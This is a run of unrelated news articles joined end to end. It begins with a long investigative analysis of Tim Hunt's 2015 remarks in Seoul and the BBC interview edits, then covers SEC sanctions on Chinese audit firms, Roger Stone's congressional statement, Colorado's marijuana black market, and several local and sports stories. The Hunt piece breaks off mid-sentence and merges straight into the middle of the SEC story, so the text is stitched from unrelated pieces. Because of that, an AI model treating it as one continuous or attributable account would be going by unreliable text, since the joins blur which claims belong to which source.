Given this reaction, Deborah Blum believed she should offer Hunt a chance to explain what he meant. She saw him at breakfast on 9 June, the morning after, and opened by saying “So, your comments have caused quite a stir,” which Hunt acknowledged.
She then asked him to clarify his comments and reported their conversation in her Storify of 14 June and a Daily Beast article of 16 June. By this time, Hunt had been engaged in “just a joke” damage control and had “turn[ed] the issue from the main point — the status of women in science — to a focus on sympathy for himself.”
Blum maintains that on 9 June Hunt did not explain his comments as a joke, but as an attempt to be honest, the same sentiment he would express to the BBC the next day.
Because Hunt used the possessive pronoun ‘my trouble with girls’ rather than ‘the’ (though Charles Seife and others dispute this), and later mentioned in his BBC Radio 4 interview ‘falling in love in the lab’, it has been claimed that he was referring specifically and exclusively to his own turbulent love life. He met his current wife, Mary Collins, in the laboratory. This ‘joke’, Mensch insists, was entirely at his own expense, and has nothing at all to do with his general views of women in science.
Journalist Kathryn O’ Hara, (who took the photograph used in the Storify) witnessed Blum’s breakfast exchange with Hunt and has verified her account. She told us:
‘There was no mention of his meeting his wife in the lab. He did say much the same thing to Deb as he did in this [BBC] interview except for the “really really sorry” part. I did get the impression he stood by what he had said.
‘Was he speaking from his own experience or for a more general view of women in the lab? I would say it was both, one informing the other. But he did not say anything about his wife period…not that he was referring to her, or anything at all about this experience so I can only assume he was speaking about women or “girls” in general. He did talk about men not taking it personally when you are critical of their research results, whereas women cried and that was upsetting.
‘Deb asked him about men crying and he didn’t have a response to that.’
Hunt also told Blum that she would be ok as she didn’t seem to be the ‘crying kind’.
Not a single eyewitness we spoke to was aware of Hunt’s love life and only one thought he was referring to his own romantic imbroglios. Tan Shiow Chin told us:
‘I also got the impression that he was speaking from personal experience that had left an impact on him, although as an acquaintance observed, that does not mean he should have assumed it applied in general.’
In our view, based on the evidence, the idea he was telling a self-deprecating joke solely about his emotional entanglements in the lab to a roomful of strangers simply doesn’t wash.
The BBC
Following St Louis’ tweet on 8 June, the news of Hunt’s comments started to break hours later.
The Daily Beast and Buzzfeed were the first to report, as word filtered out from Seoul to the world at large. BBC radio producer Tom Feilden set about trying to track down Hunt, as did The Times and other news organisations. The Times spoke to St Louis and obtained some fresh quotes.
They were horrified, really horrified. Some people laughed nervously. Some just sat there and put their head in their hands. It was so awful, and worse he was British.
This story ran in the first edition of The Times of 10 June. Feilden acquired a jpeg or pdf of this late in the evening of the 9th (GMT) and emailed it to Hunt, who had finished his business at WCSJ. He had a enjoyed a night’s sleep and was at Seoul airport about to board the 10.35 a.m. British Airways flight back to London when they made contact.
Mensch and others have claimed that when Hunt gave his interview to the BBC he had no idea of the commotion or fuss his comments had created. This fails to square with Blum’s report of their conversation the day before, confirmed by O’Hara, the previously cited testimony of Cruz, Helmuth, and Yahia, and the testimony of AAAS’s Ginger Pinholster who sent her email to Hunt on 9 June.
Others have said he didn’t know what reports the BBC were referring to when they questioned him about it (whose accuracy he later confirmed). The Times reported that Hunt spoke of ‘the benefit of single-sex laboratories’ and reported his words to the lunch guests as follows:
‘Let me tell you about my trouble with girls.’ He added: ‘Three things happen when they are in the lab: you fall in love with them, they fall in love with you, and when you criticise them they cry.’
The Times quote matches verbatim what St Louis tweeted on 8 June. When Hunt spoke on his mobile phone with Feilden at 1.30 am, 10 June, London time, 9.30 a.m. in Seoul, he confirmed that ‘what I said was quite accurately reported.’ For reasons unknown, Hunt denied it was an interview and told the Observer that he left a voice message. According to the article’s author, Robin McKie, Hunt was ‘insistent’ on this point. When we asked Hunt for clarification, he replied: ‘Sorry, no comment.’
The interview was recorded, edited, and aired some five hours later. In that interview, edited for length but not in a way that changed the sense of what he said, Hunt accepted his comments had been accurately reported, that he was merely being honest and apologised for what he said.
This interview generated a great deal of noise, along with complaints to the BBC (though not, according to the BBC, by Hunt himself). Louise Mensch claimed the BBC ‘put words in Hunt’s mouth’ and denounced them on Twitter (here, here, here, here, here — all have since been deleted), in her blog Unfashionista, and in her article of Sunday 5 July in The Sun. She went so far as to accuse the BBC of lying. In the Times Higher Education she claimed BBC “spliced and distorted his words and misquoted, misreported, and mischaracterized (as I shall shortly report).”
We have critiqued Mensch’s selective editing of the BBC’s comments in our blogpost of 9 July 2015 Don’t Menschn the BBC.
Contrary to everything asserted until now, and as Mensch herself has apparently failed to verify, there were four, not two, different BBCR4 broadcast segments that report Hunt’s remarks. The times and approximate original tape cues of each are given below:
Segment 1: 0.1.08 to 0.1.30 (6.08 am), introduced by Justin Webb
Segment 2: 1.15.46 to 1.16.58 (7.15 am), introduced by Sarah Montague
Segment 3: 2.08.59 to 2.09.45 (8.08 am), introduced by Justin Webb
Segment 4: 2.21.32 to 2.23.16 (8.21 am), introduced by Sarah Montague
Segment 1, broadcast at 6.08 am, featured in the opening ‘Highlights’ segment of the Today Show:
Sir Tim Hunt: I mean I’m really really sorry that I caused any offence — that’s awful. I certainly didn’t mean — I just meant to be honest, actually.
Justin Webb [announcer]: An apology from Sir Tim Hunt who is a Nobel Prize winning biochemist has caused a storm on social media after telling a conference that women are for loving, not for science.
Segment 1 consists only in a two-sentence statement featuring Hunt’s ‘apology’. As we shall see, exactly the same two-sentence statement appears at the ends of both Segments 2 and 4 below.
Segment 2, broadcast at 7.15 am:
Sarah Montague [announcer]: There are three problems with having women in the laboratory — according to the Nobel laureate Sir Tim Hunt — you fall in love with them, they fall in love with you and when you criticise them, they cry. That’s what he told a conference of senior women scientists and journalists in South Korea. And it didn’t go down well terribly well. We caught up with Sir Tim, a few hours ago, as he was about to board a plane back to the UK. He told us his comments had been intended as a joke, but that he stood by some of what he said.
Sir Tim Hunt: I did mean the part about having — having trouble with girls. I mean, it is true that people — I have fallen in love with people in the lab, and that people in the lab have fallen in love with me, and it’s very disruptive to the science. Um, because it’s terribly important that in the lab, people are, sort of, on a level playing field. And I found that, um, you know, these emotional entanglements made life very difficult. I mean, I’m really, really sorry that I caused any offence — that’s awful. I certainly didn’t mean — I just meant to be honest, actually.
As mentioned previously, Hunt’s words ‘I have fallen in love with people in the lab’ have been construed by Mensch to mean that his remarks referred solely to his personal experience. We do know from other reports that Hunt met his current wife, Professor Mary Collins, in the lab. But this is information extrapolated from external sources. It appears nowhere in the interview.
Segment 3, broadcast at 8.08 am derives verbatim from the more extended Segment 4, later broadcast at 8.21 (see below).
Justin Webb [announcer]: The British Nobel Prize winner Sir Tim Hunt has insisted he was joking when he said that women shouldn’t work with men in the laboratory because they fall in love with male colleagues and cry when criticized. Sir Tim, who was awarded the 2001 Nobel Prize in physiology or medicine, made the comments to a group of female scientists in South Korea. But he told this Programme he didn’t mean to offend anyone.
Sir Tim Hunt: I came after three women, who very nicely thanked the organisers for the lunch. And I said it was odd that they — they’d asked a man to make any comments. And I’m really sorry that I said what I said — it was a very stupid thing to do, in the presence of all those journalists. And what was intended as a sort of light-hearted, ironic comment apparently was interpreted deadly seriously by my audience.
The last sentence above appears to be the source of all subsequent commentary that his remarks were intended ‘as a joke’, although his exact words were ‘intended as a sort of light-hearted, ironic comment.’
The announcer’s comments from this segment make clear that BBC was indeed aware of Hunt’s alleged ‘single-sex’ laboratory comment and they had asked him about it.
Segment 4, broadcast at 8.21 am, includes the entire verbatim text of Segment 3 above (highlighted in yellow below) and adds still further details:
Sarah Montague [announcer]: There are three problems with having women in the laboratory — according to the Nobel laureate Sir Tim Hunt — you fall in love with them, they fall in love with you and when you criticise them, they cry. That’s what he told female science journalists at the World Conference of Science in South Korea. When it didn’t go down terribly well, he admitted that he was a “chauvinist pig”. It’s caused a bit of a storm, online. Sir Tim Hunt told us his comments had been intended to be humorous.
Sir Tim Hunt: This was a lunch for women journalists and particularly women scientists and engineers, actually. And I was asked, at short notice, to say a few words afterwards. And I thought it was ironic that I came after three women, who very nicely thanked the organisers for the lunch. And I said it was odd that they — they’d asked a man to make any comments. And I’m really sorry that I said what I said — it was a very stupid thing to do, in the presence of all those journalists. And what was intended as a sort of light-hearted, ironic comment apparently was interpreted deadly seriously by my audience. But what I said was quite accurately reported.
It’s terribly important that you, um, can criticise people’s ideas without criticising them. And if they burst into tears, it means that you tend to hold back from, you know, getting at the absolute truth — I mean, what — science is about nothing except getting at the truth. And anything that gets in the way of that diminishes, in my experience, the science. I mean, I’m really, really sorry that I caused any offence — that’s awful. I certainly didn’t mean — I just meant to be honest, actually.
The most serious of Mensch’s charges concerns the BBC’s alleged ‘splicing’ of Hunt’s comments which, she claims, was done deliberately to distort the ‘true’ meaning (i.e. her imagined interpretation) of the statement. This alleged ‘putting words in his mouth’, according to Mensch, creates a false impression that Hunt is apologizing for his professional views of women in the science laboratory rather than his ‘personal experience’ of ‘falling in love with his wife’. In her blog of 2 July 2015, Mensch wrote:
This broadcast, however, spliced the words “I was only being honest” [sic] away from where Sir Tim actually said them and put them after comments about crying (where women aren’t mentioned) to make it appear “I was just trying to be honest” [sic] referred to his views on women rather than about his own life. A later BBC audio of Sir Tim shows he clearly refers to his own life (as his joke did) and ends with the same words “I was just trying to be honest”[sic] — that is, about himself, not women in science.
[[sic] above = Mensch’s misquotations of the BBC interview]
Mensch further claimed that the BBC’s alleged splicing of this statement, rendered the entire interview untrustworthy. Mensch tweeted aggressively at The Atlantic, The New York Times, and other media outlets warning them that the story had been ‘falsely reported’ and not to rely on the BBC’s misleading edited audio.
Mensch failed to note it was not just the words ‘I just meant to be honest, actually’ that have been repeated in two places. The entire last two sentences from ‘I mean, I’m really really sorry... honest actually,’ recur at the ends of both Segments 2 and 4.
These are precisely the same two sentences broadcast in the Segment 1 ‘highlight’ of the Today programme.
In other words, with reference to the conclusions of Segments 2 and 4 with which Mensch takes issue, Hunt didn’t say the same thing twice in two different places. He said the same thing in THREE different places.
Why does this matter?
The accuracy of Hunt’s BBC comments matters a great deal which is precisely why Mensch early on made them the core issue in her campaign. A great deal is at stake with the R4 interview, because these are Sir Tim Hunt’s own words, spoken in his own voice, just two days after the event. And they corroborate the tweeted testimony of Connie St Louis, as confirmed in tweets and other media by Deborah Blum, Charles Seife, Ivan Oransky, Scott Watkins, Leigh Dayton, Ulla Järvi, Valeria Román Federico Kukso, Satu Lipponen, Renata Sanchez, Rodrigo Pérez Ortega, Milica Momcilovic, Hee Young Paik, Heisook Lee, and other scientists and science journalists who participated in the Korea conference and heard Hunt’s comments made at the luncheon.
So was it spliced? Or not?
It was not. Rather, it appears at the end of Segments 2 and 4, and stands alone in Segment 1, because it was a discrete response to an entirely separate question, posed by the BBC producer, asking if Hunt wished to apologise for his comments. The BBC deemed the apology ‘an important editorial fact’ and one of ‘the most important points of the long pre-recorded interview’ and hence wished to ensure that it was heard by their listeners. In a response to Mensch, shared with those who had raised formal complaints about the interview, the BBC responded:
The key part of you your complaint, …relates to the ordering of the phrases in Tim Hunt’s interview, which was pre-recorded and edited prior to transmission. In particular you have stated that the phrase ‘I was only being honest’ had been deliberately removed from its proper context which referred to Tim Hunt’s personal experience only, in particular meeting his own wife in the lab. As I said to you in earlier correspondence, I have reviewed all the material relating to this interview and I can confirm this was not the case.
The phrase appears in isolation in a later section of the raw interview where Tim Hunt is asked by our producer if he would ‘consider apologising for your comments.’ As such it is not clear at all whether it applies to his personal experiences or to a more general point. It is worth saying that the edit of his remarks played on air at 0715 puts his remark in exactly the context that you say Tim Hunt had wished (‘I have fallen in love with people in the lab…I just meant to be honest actually.’) It is only in the 0820 edit that you say the ordering of the phrase gave rise to unfairness. However, my view is that the context of the original phrase is ambiguous anyway, and that the overwhelming motivation of Today staff was not to misrepresent Tim Hunt, but to include his apology in both the clips we broadcast, as an important editorial fact in the story. In both the individual clips broadcast we have made internal edits but not removed remarks out of the chronological sequence in which they arose. That is why I said to you in our initial correspondence that while the audio had been edited, (with the explicit consent of the interviewee), changes were not made to distort the meaning of Tim Hunt’s words, as you allege, rather to reflect the most important points made in a long pre-recorded interview.
In sum: No ‘words were put in’ Sir Tim Hunt’s mouth. The two-sentence apology statement was not ‘spliced’ from one place and added in where it didn’t belong. As the BBC long ago confirmed, his words were not ‘selectively edited to change their meaning.’
The ERC report
On 10 June, the European Research Council (ERC), of whose Scientific Council Tim Hunt was a member, published a press release from their President (unnamed thereon: he is Jean-Pierre Bourguignon). The report explains that Hunt’s ‘impromptu comments were meant to be “light-hearted” and “ironic”’, quoting the same adjectives Hunt had used in his BBCR4 interview the same day. There are no eyewitnesses quoted.
The ERC, one of the conference sponsors, had sent Hunt as an ‘ERC Ambassador’ to accompany two female scientists, Dr Debra Laefer of University College Dublin, and Dr Jennifer Gabrys of Goldsmiths University of London. It is perhaps no surprise they sought to defend him. In an email to us, Bourguignon confirmed that he personally chose to send Hunt ‘because of his capacity to make himself available to speak about science with many different kinds of people.’
After his defiant interview with The Observer on 13 June, Hunt gave a second interview to Robin McKie, published in The Observer of 20 June, in which Hunt had said he used the two words ‘Now seriously’ which made it clear he was joking. It’s not clear how such a detailed recollection tallies with his insistence in his interview a week earlier that he stood up and ‘went mad.’
The same day, The Times published an inflammatory piece citing eight Nobel laureates ‘who have come to the defence of Sir Tim Hunt’ and condemned the ‘lynch mob’ allegedly responsible for his resignation from UCL. Those readers unable to venture beyond The Times paywall will be unaware that the headline was sensational and inaccurate. In reality, it was only five Nobel laureates who supported Hunt — both Edvard Moser and May-Britt Moser agreed with UCL’s decision to accept Hunt’s resignation, and The Times did not mention that Jack Szostak, from Harvard, condemned Hunt’s sexist remarks.
Four days later, on 24 June, The Times published a story based on a leaked report featuring an alleged ‘transcript’ of Hunt’s words at the lunch, written by a ‘European Commission official.’ The report showed that Hunt had used the words ‘Now seriously…’, thus confirming his words as reported a few days earlier in The Observer. His supporters seized upon this to show he was telling an elaborate joke, and alleged that St Louis, Blum, and Oransky had deliberately omitted the words from their tweet.
Except the leaked report wasn’t a ‘transcript’ at all, as the ERC have admitted. It was a recollection written a week later as part of a wider summary of the conference. It did not stop people reporting and treating it as a verbatim account of Hunt’s toast. Professor Richard Dawkins was one: This phrase [i.e. ‘now seriously’], deplorably omitted from all the reports that fed the lynch mob’s appetite, is the final confirmation that Tim Hunt’s remark was light-hearted banter against himself, his irony clearly (not clearly enough, alas) indicating that he is really the reverse of a ‘chauvinist monster.’
It was not omitted, deplorably or not, because he almost certainly did not say it. Not a single eyewitness, pro or anti, has said that Hunt used those two words.
The Times billed the report’s author as an ‘European Commission official’. Louise Mensch described him as an ‘EU Observer.’
Let’s give him his real name and title: he is Marcin Mońko, an ERC Press Officer.
Mońko is not an independent source. He was sent to Seoul specifically to accompany Hunt and, in his own words, ‘raise the visibility of the ERC outside of Europe and to present the ERC to science journalists as a source of success stories in the area of research.’ The ERC were also one of the conference’s official sponsors and had a booth with ERC publications and multimedia materials.
When the controversy blew up, it was not only in his organization’s interests to defend its ‘ambassador’, it was also Mońko’s job as a press officer to spin the story to deflect criticism from both the ERC and Hunt.
That he was actively doing so can be seen on 12 June, just two days after the ERC press release, and three days before the ERC report was written (see below). Mońko commented on a Facebook post by journalist Andrew Revkin, which shared a link to a New York Times opinion piece. Mońko wrote:
‘I was there in Seoul at this lunch. During a short speech, or rather toast, Tim Hunt indeed made a joke, bad joke, unacceptable and sexist [our emphasis] one, but he then went on to praise Korean women scientists and in general encouraged women in science. He said “we need women in science”. He said women should do science despite all the |
proxy, with the real target being the Chinese regulators,” said James Zimmerman, managing partner of law firm Sheppard Mullin Richter & Hampton in Beijing and former chairman of the American Chamber of Commerce China.
“What is actually an ongoing diplomatic impasse continues to negatively impact the services sector that supports US capital markets.”
In an expert witness testimony in the SEC judgment, former SEC Commissioner Paul Atkins said that the issue may have to be dealt with by the U.S. President and the Chinese premier.
“He did not think the Commission would obtain the materials any sooner through this administrative proceeding than by some other means,” a write up of his testimony read.
LITTLE SYMPATHY
The judge’s decision marks a major victory for the SEC, which for years tried with limited success to gain access to audit work conducted by Chinese accounting firms for Chinese companies that list in U.S. markets.
Several companies that have listed on U.S. stock exchanges have been caught up in accounting scandals.
The SEC has tried to delist or de-register some troubled companies, but has said investigations into possible fraud were stymied by the firms’ failure to turn over audit work papers.
The accounting firms have repeatedly declined to share their audits, saying Chinese secrecy laws forbid it. They urged the SEC to pursue a diplomatic solution with China instead.
After years of often strained negotiations with Chinese regulators, the SEC decided in late 2012 to pursue sanctions against the firms.
The judge declined to impose a permanent bar as the SEC requested, but said a six-month bar was in the public interest, and said he had “little sympathy” for the firms.
“Respondents operated large accounting businesses for years, knowing that, if called upon to cooperate in a Commission investigation into their business, they must necessarily fail to fully cooperate and might thereby violate the law,” he said.
“Such behavior does not demonstrate good faith, indeed, quite the opposite - it demonstrates gall.”
The SEC said it was gratified by the decision, which upholds its authority.
“These records are critical to our ability to investigate potential securities law violations and protect investors,” said Matthew Solomon, the chief litigation counsel in the SEC’s Enforcement Division.
Recognizing the risk that the ruling could strain diplomatic ties, Elliot said he decided to seal large portions of his decision that delve into Chinese-SEC relations.
“I am hopeful that the commission and the (China Securities Regulatory Commission) will continue to constructively engage one another,” he wrote.
A PCAOB spokeswoman declined to comment on Wednesday’s ruling.Looking for news you can trust?
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Roger Stone, the longtime Trump adviser suspected of colluding with Russian proxies during the 2016 election, came out swinging Monday night ahead his closed-door testimony before the House Intelligence Committee Tuesday morning.
“Please do not continue to perpetuate falsehoods here today,” Stone instructs the panel at the conclusion of his 3,200-word prepared statement, released Monday evening—a remarkably confrontational tone for a witness to take before a congressional committee.
A notorious self-promoter who spent most the 2016 campaign as an informal counselor to Trump, Stone says his “reputation and experience as a partisan warrior” makes him “suitable scapegoat” for those who suspect the Trump campaign coordinated with Russia.
The statement ultimately contains little new information. But it doubles down on Stone’s combative stance, rebutting statements about him by critics ranging from Democrats on the House Intelligence Committee and Hillary Clinton to Sen. John McCain (R-Ariz.), the intelligence community, and the media.
It’s important to remember, though, that Stone faces suspicion almost entirely because of his own claims. The longtime Republican strategist bragged in the summer of 2016 that he had communicated with WikiLeaks founder Julian Assange, and issued a series of tweets accurately predicting WikiLeaks would release material aimed at harming Hillary Clinton in October. Stone also tweeted in August 2016 that Clinton’s campaign chairman, John Podesta, would soon face his “time in the barrel”—a statement that seemingly anticipated WikiLeaks’ release of Podesta’s hacked emails in October. Stone has furthermore acknowledged contacts with Guccifer 2.0, an online persona that US intelligence agencies say was a front for Russian intelligence agents who passed hacked emails from the Democratic National Committee and the Clinton campaign to WikiLeaks.
“His significance starts and ends with the question as to whether he worked with Russians while they were interfering in our election,” Rep. Eric Swalwell (D-Calif.), a member of the House Intelligence Committee, told Mother Jones Monday. “He demonstrated at least a willingness to work with the Russians. Was this just willingness or was this an active working relationship? That is still unresolved.”
In his statement, Stone says he never claimed direct contact with Assange, rather that he spoke with a journalist, who he does not name, who interviewed Assange. Stone says those conversations informed his tweets. (Stone told Yahoo News Monday that he will refuse to identify the journalist if asked by House Intelligence Committee members.) He also claims his tweet about Podesta came after he had read opposition research outlining business connections Podesta had in Ukraine. Stone says he believed that the Clinton campaign chief would face scrutiny similar to that faced by former Trump campaign director Paul Manafort, who at the time had recently been ousted after news surfaced of his ties to a pro-Russian Ukrainian party. And Stone describes his contacts with Guccifer 2.0, which he says were limited to Twitter direct messages, as innocuous.
Stone broadly dismisses the intelligence community conclusion that Russia interfered in the election by arguing intelligence analysts want to start a war with Russia. “They are deeply unhappy over President Trump’s refusal to expand the proxy war in Syria and their failure to obtain the no-fly zone promised to them by Hillary Clinton, which would be an open invitation for World War III,” he says.
Stone has made similar claims before, but Tuesday will mark the first the time he will have to defend them under oath, where false statements could draw perjury charges.
“It would be beneficial if he was forthcoming,” said Swalwell, one of the lawmakers Stone accuses in his statement of making false claims against him. Swalwell also notes Trump and others have repeatedly been caught in lies about contacts with Russia. “There is an element, I believe, of deceit that is taking place.”The black market for weed in Colorado is still thriving, despite the existence of retail shops that sell it legally, according to exclusive interviews with growers, dealers and weed industry experts.
There are a number of reasons that people still call their dealers instead of visiting one of the state's 37 new Amsterdam-style dispensaries, which opened for business Jan. 1. Number one is the price: retail weed in Colorado generally sells for roughly $65, on average, depending on quality, according to marijuana.com.
Those high prices are mostly due to sky-high sales and excise taxes. Even though much of those taxes go to a good cause, the price on the black market is much lower for the same amount. Steven, a University of Colorado Boulder student who sells weed illegally, told The Huffington Post he only charges $30 an eighth for top-quality herb -- less than half the price it would cost at a recreational dispensary. (Steven's name has been changed to protect his identity.)
There are a handful of other reasons that might compel Colorado state residents to buy their pot on the black market. One reason, according to several sources, is that the quality of retail herb isn't always as good as the marijuana grown for medicinal purposes, which is often also sold illicitly.
"These recreational places aren't getting product that's up to par with the medicinal side, simply because they need to come up with a lot more product for the consumer," says Jacob, a legal caregiver who runs a grow operation of about 250 plants in an undisclosed location in Denver County and asked that his last name be excluded, citing concerns about the federal government. "The quality just isn't as good. There are a lot of big guerilla-type grow operations here. Some of them will cut the plant down after only 60 days, when in reality it needs 70 days to flower. There's so much demand that the plants get put on a schedule. But that's going to affect your high [if the plant is harvested prematurely]."
"The supply was always here, but now demand is going up," said Abdullah Saeed, a Vice journalist who has covered the marijuana industry extensively and who reported on the advent of legal weed from Denver last week. Saeed also noted that the selection of recreational weed at Colorado dispensaries is narrow because of laws limiting how much retail bud each store can have for sale at any given time. Lack of variety might drive discriminating smokers to find their weed elsewhere, Saeed said.
But the real money on the black market gets made out of state. "People here [in Colorado] can make about $1,000 off a $2,400 pound they bought from a legal grower by selling it [illegally] over the border in Nebraska," said Aaron, a Denver-based musician who has sold marijuana in the past. (Aaron's name has also been changed to protect his identity.) The amount of weed being trafficked out of Colorado has soared by over 300 percent in recent years, according to the U.S. Drug Enforcement Agency's El Paso Intelligence Center, which combats drug trafficking and other criminal activity in the Southwest. Colorado weed has shown up as far away as Florida and New York, according to The Denver Post.
But when the rest of Colorado's retail pot dispensaries open across the state, the black market may start to die off. "Only a small fraction of the businesses that are going to open are open right now, in only a fraction of the localities where they're expected to open," said Mason Tvert. "Not to mention that prices are going to drop dramatically. People are going to prefer to buy marijuana in a legal market. Not just because it's safer but because it's more convenient."NPR's Morning Edition is traveling across the country, talking about issues that mean the most to Americans on a local and state level. And they are coming to Knoxville!
On Thursday, April 21st, Morning Edition will broadcast live from Gourmet's Market from 5-7 a.m., with Steve Inskeep hosting, for a segment entitled A View from Appalachia, part of NPR's Generation Listen project. In addition to hosting Morning Edition live, Steve will talk more in-depth with those in attendance about the topics and issues that people in Appalachia feel are most important, especially in this election season.
Listen to Matt Shafer Powell's interview with Steve Inskeep
To attend the event at Gourmet's Market, visit the official invite page to sign up. Registration is open to the public and is first come, first served.
If you have any questions or need more information, please email Greg Hill.Painting of Pittsburgh's Central Business District by Ron Donoughe
Ron Donoughe has been painting for 25 years, and much of his work involves Pittsburgh.
But his most recent project is different, he said.
"It involves all 90 neighborhoods. Most folks don't realize there are that many. I know I was surprised when I saw a map, which listed them all. That's what sparked the idea. I actually thought I knew Pittsburgh until now."
Ron, 55, of Lawrenceville, is painting each and every one of the neighborhoods -- in alphabetical order -- and posting the paintings, along with the stories behind them, on his blog. So far, he's up to 25. He explained his process for choosing his spots:
"Sometimes it takes a couple days to know what and where I should paint. Other times I ask neighbors what they think is unique. That is always interesting because you find out what they consider special."
When he gets behind his easel to paint, palette in hand, his work frequently draws spectators. At first, he said, passersby are usually a bit confused, "but after I get something started, curiosity gets the best of them and we meet."
"I think of this as an opportunity to get to know the people of Pittsburgh and it is almost always enjoyable. They get to see something familiar through my eyes. People love it because the ordinary can suddenly become special."
His twin brother and technological consultant, Don, talked him into blogging as a way to keep the project together and allow others to follow along. Ron said it has also encouraged him to meet people while painting and get their story.
One of his favorite encounters, he said, was with a man on the Bluff who approached to admire his work.
"He was raised there and was obviously very proud of the neighborhood. Althought homeless and struggling with serious addictions, he shared some real insight to the place I was painting. He offered me a blessing when we parted.
"Those experiences cannot happen in the studio," Ron said.
Ken, who owns a donut shop in Elliott, with the painting of his shop.
He has also learned that Pittsburghers don't always agree on neighborhood boundaries.
"I'll say, 'So how do you like East Hills?' The response is, 'This is Homewood! East Hills is up there.'"
The ultimate goal of the project is "to create a visual time capsule of the 90 neighborhoods that reflects the character of the city over an entire year," he said. The Pittsburgh Center for the Arts will show the paintings in an exhibition once the project is completed, and Ron said there is also the possibility of a book.
But, he added, "right now, this is so interesting, I don't want it to end." Bloomfield Central North Side (Mexican War Streets)What does “natural” mean on a food label? Does it mean “not processed”? Organic? Healthy? Low Calorie? The answer is, unfortunately: we don’t know. Nutrient claims such as “excellent source of fiber” or “good source of Calcium” are all tightly regulated by the FDA. To use the terms such as “excellent” or “good” on a label, the food item must meet a certain percentage of the recommended daily allowance (RDA) of the specific nutrient. However, for the word “natural”, the same stringent rules do not apply.
In 1993, the FDA had this to say about “natural”:
“FDA has not established a formal definition for the term ‘natural’, however the agency has not objected to the use of the term on food labels provided it is used in a manner that is truthful and not misleading and the product does not contain added color, artificial flavors, or synthetic substances. Use of the term ‘natural’ is not permitted in the ingredient list, with the exception of the phrase ‘natural flavorings’.”
The only government body that has tackled the term is the USDA in regards to meat, stating that spices can be deemed “natural flavoring” as long as they do not make a nutritional contribution, have no health concerns linked to them and are not derived from an animal.
Since 1993, the FDA has consistently said that defining “natural” is not on their priority list; as all ingredients must be listed on a food label and they do not allow vague terms like “natural” in those lists. However, increasingly “natural” is appearing on food labels in an effort to attract health conscious consumers. But do we believe it? According to an industry-led survey, we don’t.
The survey – conducted by Mambo Sprouts Marketing – found that 34% of consumers that typically purchase organic or eco-friendly items are skeptical of “natural” on food labels and 65% would like to see a universal standard for “natural” food items, preferably by a third party rather than the government. However, this survey was targeting consumers who are typically purchase and are interested in “green” consumerism. Asking similar questions of a different demographic may have produced different results.
Interestingly, Snapple was recently engaged in a lawsuit regarding their “all natural” beverage line. The complaint stated that their teas still contained high fructose corn syrup (HFCS), and therefore the “all natural” claim is false. However, Snapple won the lawsuit stating that – under the vague 1993 FDA definition – it is made from corn, which is clearly stated on the label, and HFCS is not metabolized differently from cane sugar (which is true). In regards to HFCS, the FDA has been somewhat less close-mouthed; they have released a statement saying that HFCS is considered natural as long as no synthetic agents are used in the processing. However, this is still misleading – the process by which HFCS is made is a chemical process that transforms molecules. And is that natural?
The lesson to take away from this verdict is: always read the ingredient list. If there is something on that list that you don’t feel comfortable ingesting, don’t buy it — regardless of what the label is telling you.MINNEAPOLIS -- The wide smile still flashed on Ricky Rubio's face, quicker than one of his slick no-look passes in the lane.
Yes, the prodigious Minnesota Timberwolves point guard sighed a few times during his first public comments about the torn anterior cruciate and lateral collateral ligaments in his left knee that cut short his promising rookie year. He acknowledged feeling "sad, mad" immediately after the injury.
The crutches he used to reach the podium will be at his side for another month. He said he's unsure if he'll be recovered in time to take part in training camp or the start of next season.
But Rubio, who had reconstructive surgery on March 21, remained his usual optimistic self, displaying again the upbeat attitude that fits well with the boyish looks that only enhanced the soaring popularity founded by his basketball skills.
"I was happy to see all the people helping me and just giving shout-outs," Rubio said on Tuesday at Target Center, referring to well wishes he's received from fellow NBA stars such as Kevin Durant and Dwyane Wade, as well as encouragement from "people on the street."
The Wolves were in eighth place in the Western Conference and in line for a playoff spot right before Rubio was hurt in the closing seconds of a loss to the Los Angeles Lakers on March 9. They are 4-13 since his injury, falling to 25-33.
After rehabilitating for more than two weeks in Vail, Colo., where Dr. Richard Steadman performed the operation, Rubio returned to Minnesota and attended his team's game on Monday for the first time since he was hurt.
"You want to play so bad. You just have to enjoy watching basketball, because it's the only way you can do it," Rubio said.
Rubio has a follow-up exam in a month with Steadman. Until then, it's useless to place a timetable on his return. The Timberwolves have said they expect him to be ready for the beginning of the 2012-13 regular season, which would be about 7½ months from the injury, but recovery can take as long as nine months.
"I don't know when I'm going to come back. The first thing that I want to make sure is when I come back, I'm 100 percent," said Rubio, wearing a gray, zip-up hooded sweatshirt and his familiar beard and floppy black hair. "I don't want to put a date on it, because it depends on how my knee feels."
Rubio said he didn't believe the injury was bad when it happened -- maybe he'd miss "one or two games, not the whole season" -- but he soon found out how serious it was. His protected left leg -- which he can't bend very far yet -- takes up too much space for him to drive. So his family has been serving as a chauffeur system as well as emotional support.
"Obviously, spirits are always high with him. He's not a guy who gets down. Happy to see him. Hopefully, he'll have a speedy, quick recovery," teammate Kevin Love said after Monday's loss to the Phoenix Suns, the sixth straight for the Wolves.
Said coach Rick Adelman: "When I've had contact with him, he seems really upbeat. That's going to be the whole key, making sure his rehab goes good throughout the summer. Knowing him, he's going to do everything he can."
In his first season after arriving from Spain, the 21-year-old -- the fifth overall draft pick by the Wolves in 2009 -- was averaging 10.6 points and 8.2 assists per game. His impact was much greater than that, helping revitalize a franchise and a fan base that's been stuck in a lottery rut for the past seven years.
"You just have to be strong and do your best to try to come back even harder. I love basketball. I love playing basketball and I'm going to do my best to play again," Rubio said.HR Masterclass from Human Resources magazine: High-level HR strategy training workshops
led by the world's most respected HR thought leaders & strategists.
Review the 2019 programme here »
According to a New Straits Times report, Malaysia is on track to produce a skilled workforce by 2020. In the report, human resources minister Datuk Richard Riot mentioned that the country has managed to raise it to 31% of the workforce at present, as the country strives to achieve its high-income nation status by 2020.
In comparison, only 28% (or 3.4 million out of the 14.8 million) in Malaysia’s workforce was considered skilled two years ago in 2015.
Moving forward, Datuk Riot said: “The government aims to increase it to 35% or 5.3 million of the workforce by 2020 in order to be a developed nation.”
“According to the International Labour Organisation, skilled workers are defined as those with at least diploma qualification,” he added, during a graduation ceremony on Saturday for more than 300 Recognition Of Prior Experiential Learning (RPEL) technical diploma graduates in Kuala Lumpur.
Introduced by the Human Resources Development Fund in 2009, Datuk Riot remarked that RPEL will enable graduates, who are mostly from the bottom 40% of the income group, to receive better salaries which reflect their skills and experience.
ALSO READ: HRDF’s initiatives to reduce dependency on foreign workers, and upskill locals
He highlighted that recognition are given to skilled workers who had no paper qualifications, thus contributing towards the nation’s need for skilled workers.
